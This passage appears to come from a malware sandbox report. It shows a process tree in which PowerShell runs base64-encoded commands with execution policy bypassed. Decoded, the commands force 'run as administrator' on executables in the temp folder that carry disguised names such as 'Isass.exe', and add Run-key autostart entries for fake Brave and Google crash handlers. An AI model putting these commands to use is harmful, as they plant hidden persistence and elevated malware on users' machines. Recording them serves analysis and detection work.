E0AUABcAFIAdQBuAHQAaQBtAGUAQgByAG8AbwBrAGUAcgAuAGUAeABlACIAIAAtAFYAYQBsAHUAZQAgACIAfgAgAFIAVQBOAEEAUwBBAEQATQBJAE4AIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAQwBvAG0AcABhAHQARgBsAGEAZwBzAFwATABhAHkAZQByAHMAIgAgAC0ATgBhAG0AZQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAUgB1AG4AdABpAG0AZQBCAHIAbwBvAGsAZQByAC4AZQB4AGUAIgAgAC0AVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAQwBvAG0AcABhAHQARgBsAGEAZwBzAFwATABhAHkAZQByAHMAIgAgAC0ATgBhAG0AZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAB0AHIAYQBmAGYAbQBvAG4AZQB0AGkAegBlAHIAXABhAHAAcABcAFQAZQB4AHQAbABuAHAAdQB0AEgAbwBzAHQALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEMAbwBtAHAAYQB0AEYAbABhAGcAcwBcAEwAYQB5AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAdAByAGEAZgBmAG0AbwBuAGUAdABpAHoAZQByAFwAYQBwAHAAXABUAGUAeAB0AGwAbgBwAHUAdABIAG8AcwB0AC4AZQB4AGUAIgAgAC0AVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAQwBvAG0AcABhAHQARgBsAGEAZwBzAFwATABhAHkAZQByAHMAIgAgAC0ATgBhAG0AZQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEUAbQBiAG0AYQBrAGUALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEMAbwBtAHAAYQB0AEYAbABhAGcAcwBcAEwAYQB5AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABFAG0AYgBtAGEAawBlAC4AZQB4AGUAIgAgAC0AVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAQwBvAG0AcABhAHQARgBsAGEAZwBzAFwATABhAHkAZQByAHMAIgAgAC0ATgBhAG0AZQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAVQBzAGUAcgAwADAAQgBFAEIAcgBvAGsAZQByAC4AZQB4AGUAIgAgAC0AVgBhAGwAdQBlACAAIgB+ACAAUgBVAE4AQQBTAEEARABNAEkATgAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHAAcABDAG8AbQBwAGEAdABGAGwAYQBnAHMAXABMAGEAeQBlAHIAcwAiACAALQBOAGEAbQBlACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBQAFAARABBAFQAQQBcAEwATwBDAEEATABcAFQARQBNAFAAXABVAHMAZQByADAAMABCAEUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAFYAYQBsAHUAZQAgACIAfgAgAFIAVQBOAEEAUwBBAEQATQBJAE4AIgAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHAAcABDAG8AbQBwAGEAdABGAGwAYQBnAHMAXABMAGEAeQBlAHIAcwAiACAALQBOAGEAbQBlACAAIgAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdABcAFQARQBNAFAAXABVAHMAZQByADAAMABCAEUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEMAbwBtAHAAYQB0AEYAbABhAGcAcwBcAEwAYQB5AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAFUAcwBlAHIAMAAwAEIARQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0AVgBhAGwAdQBlACAAIgB+ACAAUgBVAE4AQQBTAEEARABNAEkATgAiACAALQBGAG8AcgBjAGUACgAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEMAbwBtAHAAYQB0AEYAbABhAGcAcwBcAEwAYQB5AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABFAG0AYgBlAGQAaQB0AC4AZQB4AGUAIgAgAC0AVgBhAGwAdQBlACAAIgB+ACAAUgBVAE4AQQBTAEEARABNAEkATgAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHAAcABDAG8AbQBwAGEAdABGAGwAYQBnAHMAXABMAGEAeQBlAHIAcwAiACAALQBOAGEAbQBlACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwARQBtAGIAZQBkAGkAdAAuAGUAeABlACIAIAAtAFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0AVgBhAGwAdQBlACAAIgB+ACAAUgBVAE4AQQBTAEEARABNAEkATgAiACAALQBGAG8AcgBjAGUACgAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEMAbwBtAHAAYQB0AEYAbABhAGcAcwBcAEwAYQB5AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABBAFAAUABEAEEAVABBAFwATABPAEMAQQBMAFwAVABFAE0AUABcAEkAcwBhAHMAcwAuAGUAeABlACIAIAAtAFYAYQBsAHUAZQAgACIAfgAgAFIAVQBOAEEAUwBBAEQATQBJAE4AIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAQwBvAG0AcABhAHQARgBsAGEAZwBzAFwATABhAHkAZQByAHMAIgAgAC0ATgBhAG0AZQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwASQBzAGEAcwBzAC4AZQB4AGUAIgAgAC0AVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAQwBvAG0AcABhAHQARgBsAGEAZwBzAFwATABhAHkAZQByAHMAIgAgAC0ATgBhAG0AZQAgACIAJABlAG4AdgA6AFMAeQBzAHQAZQBtAFIAbwBvAHQAXABUAEUATQBQAFwASQBzAGEAcwBzAC4AZQB4AGUAIgAgAC0AVgBhAGwAdQBlACAAIgB+ACAAUgBVAE4AQQBTAEEARABNAEkATgAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHAAcABDAG8AbQBwAGEAdABGAGwAYQBnAHMAXABMAGEAeQBlAHIAcwAiACAALQBOAGEAbQBlACAAIgAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdABcAFQARQBNAFAAXABJAHMAYQBzAHMALgBlAHgAZQAiACAALQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAFYAYQBsAHUAZQAgACIAfgAgAFIAVQBOAEEAUwBBAEQATQBJAE4AIgAgAC0ARgBvAHIAYwBlAA==
                                            4⤵
                                              PID:1572
                                              • C:\Windows\system32\chcp.com
                                                "C:\Windows\system32\chcp.com" 1252
                                                5⤵
                                                  PID:2960
                                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                              -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss301A.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi2FF8.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr3018.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr3019.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                                              3⤵
                                                PID:924
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiACAALQBOAGEAbQBlACAAIgBCAHIAYQB2AGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIAIgAgAC0AVgBhAGwAdQBlACAAIgAkAGUAbgB2ADoAUABSAE8ARwBSAEEATQBEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByACIAIAAtAFYAYQBsAHUAZQAgACIAJABlAG4AdgA6AFAAUgBPAEcAUgBBAE0ARABBAFQAQQBcAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAuAGUAeABlACIAIAAtAFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByACIAIAAtAFYAYQBsAHUAZQAgACIAJABlAG4AdgA6AFAAUgBPAEcAUgBBAE0ARABBAFQAQQBcAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAuAGUAeABlACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACIAIAAtAE4AYQBtAGUAIAAiAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAiACAALQBWAGEAbAB1AGUAIAAiACQAZQBuAHYAOgBQAFIATwBHAFIAQQBNAEQAQQBUAEEAXABCAHIAYQB2AGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAiACAALQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIAIgAgAC0AVgBhAGwAdQBlACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIAIgAgAC0AVgBhAGwAdQBlACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgAgAC0AVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiACAALQBOAGEAbQBlACAAIgBHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAiACAALQBWAGEAbAB1AGUAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiACAALQBOAGEAbQBlACAAIgBHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAiACAALQBWAGEAbAB1AGUAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAiACAALQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIANgA0ACIAIAAtAFYAYQBsAHUAZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQALgBlAHgAZQAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiACAALQBOAGEAbQBlACAAIgBHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQAIgAgAC0AVgBhAGwAdQBlACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACIAIAAtAFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIANgA0ACIAIAAtAFYAYQBsAHUAZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQALgBlAHgAZQAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiACAALQBOAGEAbQBlACAAIgBHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQAIgAgAC0AVgBhAGwAdQBlACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACIAIAAtAFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiACAALQBOAGEAbQBlACAAIgBCAHIAYQB2AGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIANgA0ACIAIAAtAFYAYQBsAHUAZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABCAHIAYQB2AGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIANgA0AC4AZQB4AGUAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAiACAALQBWAGEAbAB1AGUAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACIAIAAtAFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAiACAALQBWAGEAbAB1AGUAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACIAIAAtAE4AYQBtAGUAIAAiAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQAIgAgAC0AVgBhAGwAdQBlACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQALgBlAHgAZQAiACAALQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBPAEYAVA